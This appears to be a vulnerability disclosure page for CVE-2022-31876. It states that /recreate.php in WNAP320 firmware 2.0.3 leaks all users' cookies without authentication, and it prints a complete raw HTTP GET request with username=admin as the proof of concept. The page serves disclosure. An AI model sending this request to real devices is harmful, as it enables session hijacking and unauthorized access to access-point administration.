jayus0821 Update unauth.md History

1 contributor

31 lines (20 sloc) | 763 Bytes

PoC

CVE-2022-31876

There is an unauthorized vulnerability in wnap320, located in /recreate.php, which can leak all users' cookie

http://ip/recreate.php

```
WNAP320_V2.0.3_firmware

GET /recreate.php?username=admin
HTTP/1.1 Host: 192.168.0.100
Accept: text/javascript, text/html, application/xml, text/xml, /
X-Prototype-Version: 1.6.0.2
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/96.0.4664.110 Safari/537.36
Referer: http://192.168.0.100/index.php?page=master
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
```

Acknowledgement

Thanks to the partners who discovered the vulnerability together：

Yi-fei Gao Lin-jie Wu